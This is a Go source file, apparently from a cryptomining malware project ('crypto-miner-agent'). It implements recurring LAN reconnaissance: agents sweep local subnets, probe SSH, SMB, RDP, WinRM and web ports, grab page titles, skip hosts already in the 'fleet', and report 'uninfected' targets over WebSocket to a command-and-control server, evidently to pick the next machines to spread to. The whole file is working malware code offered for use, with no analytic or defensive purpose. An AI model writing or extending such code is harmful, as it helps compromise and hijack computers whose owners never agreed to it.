Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
255 lines
6.6 KiB
Go
255 lines
6.6 KiB
Go
package deploy
|
|
|
|
import (
|
|
"io"
|
|
"net"
|
|
"net/http"
|
|
"regexp"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const (
|
|
// DefaultSubnetReconIntervalMin is the scan cadence when server policy omits a value.
|
|
DefaultSubnetReconIntervalMin = 30
|
|
subnetReconStatusUninfected = "uninfected"
|
|
)
|
|
|
|
// SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps.
|
|
var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262}
|
|
|
|
var subnetReconWebPorts = []int{80, 443, 8080}
|
|
|
|
// SubnetReconHost is one uninfected LAN host observation reported to the C2.
|
|
type SubnetReconHost struct {
|
|
IP string `json:"ip"`
|
|
OpenPorts []int `json:"open_ports"`
|
|
LastSeen string `json:"last_seen"`
|
|
ReporterAgentID string `json:"reporter_agent_id"`
|
|
HTTPTitle string `json:"http_title,omitempty"`
|
|
Status string `json:"status"`
|
|
}
|
|
|
|
var (
|
|
subnetReconOnce sync.Once
|
|
subnetReconReportFn func([]SubnetReconHost)
|
|
subnetReconPolicyMu sync.RWMutex
|
|
subnetReconEnabled bool
|
|
subnetReconInterval = DefaultSubnetReconIntervalMin
|
|
subnetReconAgentID string
|
|
subnetReconFleetIPs = map[string]struct{}{}
|
|
)
|
|
|
|
var titleTagRe = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
|
|
|
|
// fetchHTTPTitleFn overrides HTTP title probes in tests (nil = live GET).
|
|
var fetchHTTPTitleFn func(host string, port int) string
|
|
|
|
// SetSubnetReconReportFn injects WS batch reporting (client wires at runtime).
|
|
func SetSubnetReconReportFn(fn func([]SubnetReconHost)) {
|
|
subnetReconReportFn = fn
|
|
}
|
|
|
|
// UpdateSubnetReconPolicy refreshes server-pushed recon settings and fleet IP skip set.
|
|
func UpdateSubnetReconPolicy(enabled bool, intervalMin int, agentID string, fleetIPs []string) {
|
|
subnetReconPolicyMu.Lock()
|
|
defer subnetReconPolicyMu.Unlock()
|
|
subnetReconEnabled = enabled
|
|
if intervalMin > 0 {
|
|
subnetReconInterval = intervalMin
|
|
} else if subnetReconInterval <= 0 {
|
|
subnetReconInterval = DefaultSubnetReconIntervalMin
|
|
}
|
|
if agentID != "" {
|
|
subnetReconAgentID = agentID
|
|
}
|
|
next := make(map[string]struct{}, len(fleetIPs))
|
|
for _, ip := range fleetIPs {
|
|
ip = strings.TrimSpace(ip)
|
|
if ip != "" {
|
|
next[ip] = struct{}{}
|
|
}
|
|
}
|
|
subnetReconFleetIPs = next
|
|
}
|
|
|
|
// StartSubnetRecon runs an immediate sweep on auth and periodic sweeps when enabled.
|
|
func StartSubnetRecon(cfg config.RuntimeConfig) {
|
|
UpdateSubnetReconPolicy(
|
|
cfg.SubnetReconEnabled,
|
|
cfg.SubnetReconIntervalMin,
|
|
cfg.AgentID,
|
|
cfg.SubnetFleetIPs,
|
|
)
|
|
if !config.SubnetReconEnabled(cfg) {
|
|
return
|
|
}
|
|
subnetReconOnce.Do(func() {
|
|
go subnetReconLoop()
|
|
})
|
|
}
|
|
|
|
// RunSubnetRecon scans LAN targets and returns uninfected host observations.
|
|
func RunSubnetRecon(reporterAgentID string, fleetIPs []string) []SubnetReconHost {
|
|
targets := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
|
return runSubnetReconTargets(reporterAgentID, fleetIPs, targets)
|
|
}
|
|
|
|
func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets []string) []SubnetReconHost {
|
|
reporterAgentID = strings.TrimSpace(reporterAgentID)
|
|
skip := buildSubnetReconSkipSet(fleetIPs)
|
|
now := time.Now().UTC().Format(time.RFC3339)
|
|
var out []SubnetReconHost
|
|
for _, host := range targets {
|
|
host = strings.TrimSpace(host)
|
|
if host == "" || skip[host] {
|
|
continue
|
|
}
|
|
open := probePorts(host, SubnetReconPorts)
|
|
if len(open) == 0 {
|
|
continue
|
|
}
|
|
entry := SubnetReconHost{
|
|
IP: host,
|
|
OpenPorts: append([]int(nil), open...),
|
|
LastSeen: now,
|
|
ReporterAgentID: reporterAgentID,
|
|
Status: subnetReconStatusUninfected,
|
|
}
|
|
if title := probeHTTPTitle(host, open); title != "" {
|
|
entry.HTTPTitle = title
|
|
}
|
|
out = append(out, entry)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool {
|
|
skip := make(map[string]bool)
|
|
for _, ip := range getLocalIPs() {
|
|
skip[ip] = true
|
|
}
|
|
for _, ip := range fleetIPs {
|
|
ip = strings.TrimSpace(ip)
|
|
if ip != "" {
|
|
skip[ip] = true
|
|
}
|
|
}
|
|
subnetReconPolicyMu.RLock()
|
|
for ip := range subnetReconFleetIPs {
|
|
skip[ip] = true
|
|
}
|
|
subnetReconPolicyMu.RUnlock()
|
|
return skip
|
|
}
|
|
|
|
func probeHTTPTitle(host string, openPorts []int) string {
|
|
open := make(map[int]bool, len(openPorts))
|
|
for _, p := range openPorts {
|
|
open[p] = true
|
|
}
|
|
for _, p := range subnetReconWebPorts {
|
|
if !open[p] {
|
|
continue
|
|
}
|
|
if title := fetchHTTPTitle(host, p); title != "" {
|
|
return title
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func fetchHTTPTitle(host string, port int) string {
|
|
if fetchHTTPTitleFn != nil {
|
|
return fetchHTTPTitleFn(host, port)
|
|
}
|
|
scheme := "http"
|
|
if port == 443 || port == 5986 {
|
|
scheme = "https"
|
|
}
|
|
url := scheme + "://" + net.JoinHostPort(host, strconv.Itoa(port)) + "/"
|
|
client := &http.Client{Timeout: 2 * time.Second}
|
|
resp, err := client.Get(url) //nolint:gosec // LAN recon against operator-owned targets
|
|
if err != nil {
|
|
return ""
|
|
}
|
|
defer resp.Body.Close()
|
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 8192))
|
|
if err != nil {
|
|
return ""
|
|
}
|
|
return parseHTTPTitle(string(body))
|
|
}
|
|
|
|
func parseHTTPTitle(body string) string {
|
|
match := titleTagRe.FindStringSubmatch(body)
|
|
if len(match) < 2 {
|
|
return ""
|
|
}
|
|
title := strings.TrimSpace(match[1])
|
|
title = strings.Join(strings.Fields(title), " ")
|
|
if len(title) > 256 {
|
|
title = title[:256]
|
|
}
|
|
return title
|
|
}
|
|
|
|
func subnetReconLoop() {
|
|
runOnce := func() {
|
|
enabled, _, agentID, fleetIPs := subnetReconPolicySnapshot()
|
|
if !enabled {
|
|
return
|
|
}
|
|
hosts := RunSubnetRecon(agentID, fleetIPs)
|
|
if len(hosts) > 0 && subnetReconReportFn != nil {
|
|
subnetReconReportFn(hosts)
|
|
}
|
|
}
|
|
runOnce()
|
|
for {
|
|
enabled, intervalMin, _, _ := subnetReconPolicySnapshot()
|
|
if !enabled {
|
|
time.Sleep(time.Minute)
|
|
continue
|
|
}
|
|
if intervalMin <= 0 {
|
|
intervalMin = DefaultSubnetReconIntervalMin
|
|
}
|
|
time.Sleep(time.Duration(intervalMin) * time.Minute)
|
|
runOnce()
|
|
}
|
|
}
|
|
|
|
func subnetReconPolicySnapshot() (enabled bool, intervalMin int, agentID string, fleetIPs []string) {
|
|
subnetReconPolicyMu.RLock()
|
|
defer subnetReconPolicyMu.RUnlock()
|
|
enabled = subnetReconEnabled
|
|
intervalMin = subnetReconInterval
|
|
agentID = subnetReconAgentID
|
|
for ip := range subnetReconFleetIPs {
|
|
fleetIPs = append(fleetIPs, ip)
|
|
}
|
|
return enabled, intervalMin, agentID, fleetIPs
|
|
}
|
|
|
|
// ResetSubnetReconForTest clears loop-once guard and policy (tests only).
|
|
func ResetSubnetReconForTest() {
|
|
subnetReconOnce = sync.Once{}
|
|
subnetReconReportFn = nil
|
|
subnetReconPolicyMu.Lock()
|
|
subnetReconEnabled = false
|
|
subnetReconInterval = DefaultSubnetReconIntervalMin
|
|
subnetReconAgentID = ""
|
|
subnetReconFleetIPs = map[string]struct{}{}
|
|
subnetReconPolicyMu.Unlock()
|
|
}
|
|
|
|
// ParseHTTPTitleForTest exposes title parsing for unit tests.
|
|
func ParseHTTPTitleForTest(body string) string {
|
|
return parseHTTPTitle(body)
|
|
}
|